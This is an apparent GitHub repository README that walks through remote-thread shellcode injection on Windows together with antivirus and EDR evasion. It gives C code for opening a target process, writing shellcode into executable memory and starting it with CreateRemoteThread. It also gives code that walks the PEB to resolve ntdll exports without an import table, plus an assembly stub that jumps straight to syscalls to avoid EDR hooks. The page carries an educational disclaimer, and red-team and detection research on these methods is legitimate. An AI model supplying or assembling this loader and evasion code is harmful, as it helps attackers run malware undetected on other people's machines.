Skip to content

SilentisVox/Shellcode-Injection-Techniques

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Shellcode Execution via Remote Thread

In this day and age of malware, almost everything is detectable. Whether that means Anti Virus (AV) flagged a portion of an exe, or Endpoint Detection & Response (EDR) detected suspicious behavior. Either way, it is almost impossible to navigate. This repository stands as a technical dive into shellcode execution with AV and EDR evasion techniques.

Disclaimer: The purpose of this is for educational purposes and testing only. Do not use this on machines you do not have permission to use. Do not use this to leverage and communicate with machines that you do not have authorization to use.

The technique.

A stealthy way of getting shellcode to execute is handing it off to another process to execute. The exact technique I use in this repository is via Remote Thread Creation. This entails allocating and writing memory inside a process, and creating a thread that executes this memory.

This is stealthy because it is not the originating process that executes said shellcode. If an AV or EDR flags malicious content, it will be to the process that thread was created.

HANDLE hProcess = OpenProcess(
        PROCESS_ALL_ACCESS,
        FALSE,
        PROCESS_ID
);

PVOID pInjectAddress = VirtualAllocEx(
        hProcess,
        NULL,
        dwSize,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
);

BOOL Result = WriteProcessMemory(
        hProcess,
        pInjectAddress,
        pShellcode,
        dwSize,
        &dwBytesWritten
);

BOOL Result = CreateRemoteThread(
        hProcess,
        NULL,
        ZERO,
        pInjectAddress,
        NULL,
        ZERO,
        NULL
);

The problem.

When a file is opened or closed, AV will signature the file for malware. This means that it is not likely for known bads to ever make it to execution. When a file runs, when it attempts to interact with the Operating System (OS), EDRs will inspect parameters to verify benignity. This means anything that can be perceived as malicious will not reach execution.

Before attempting a solution to this problem, we have to know why. Executable files on th Windows OS have an import table. The import table includes the Dynamically Linked Library (DLL) needed, along with all functions used within said DLL. So when functions like connect or CreateProcessA from kernel32.dll are used, this can get signatured as malicious.

Something similar happens when is comes to an EDR solution as well. When using said functions like connect or CreateProcessA, they translate down to low level functions. The functions (stubs) are located in ntdll.dll which contain syscalls. If an EDR hooks into these stubs, they may inspect parameters before entering kernel mode. Now if a socket were to be used as a standard handle for the process creation of cmd.exe, this will get flagged and stopped.

The solution.

The solution is pretty simple, but you have to know exectly what you are trying to achieve. As for the AV solution, do not include functions from DLLs that can be interpreted as malicious. And for EDR, circumvent any hooks into ntdll.dll by doing manual stubbing and jump straight to syscalls.

This means we will have to manually resolve function we would like to use. This also means we have to resolve the syscall address, and jump straight to it; Jumping to an absolute address entails we need manual stubbing to occur.

Function resolutions.
// Resolving a DLL
ULONG_PTR GET_NTDLL() {
        ULONG_PTR pPEB          =  __readgsqword(0x60);
        ULONG_PTR pLdrData      = *(ULONG_PTR *) (pPEB + 0x18);
        ULONG_PTR pMdlList      = *(ULONG_PTR *) (pLdrData + 0x30);
        ULONG_PTR pModule       = *(ULONG_PTR *) (pMdlList + 0x10);

        return pModule;
}

// Resolving symbol exports
VOID INIT_NTDLL_CONFIG() {
        ULONG_PTR pNtdll        = GET_NTDLL();
        ULONG_PTR pNtHdr        = (pNtdll + *(ULONG *) (pNtdll + 0x3C));
        ULONG_PTR pExpDir       = (pNtdll + *(ULONG *) (pNtHdr + 0x88));

        NtdllConfig.pModule             = pNtdll;
        NtdllConfig.NumberOfNames       = *(ULONG *) (pExpDir + 0x18);
        NtdllConfig.ArrayOfAddresses    = (pNtdll + *(ULONG *) (pExpDir + 0x1C));
        NtdllConfig.ArrayOfNames        = (pNtdll + *(ULONG *) (pExpDir + 0x20));
        NtdllConfig.ArrayOfOrdinals     = (pNtdll + *(ULONG *) (pExpDir + 0x24));
}
Manual stubbing.
RUN_SYSCALL:
        MOV     R10,    RCX
        MOV     EAX,    DWORD   [REL SYSTEM_SERVICE_NUMBER]
        JMP     QWORD   [REL SYSCALL_ADDRESS]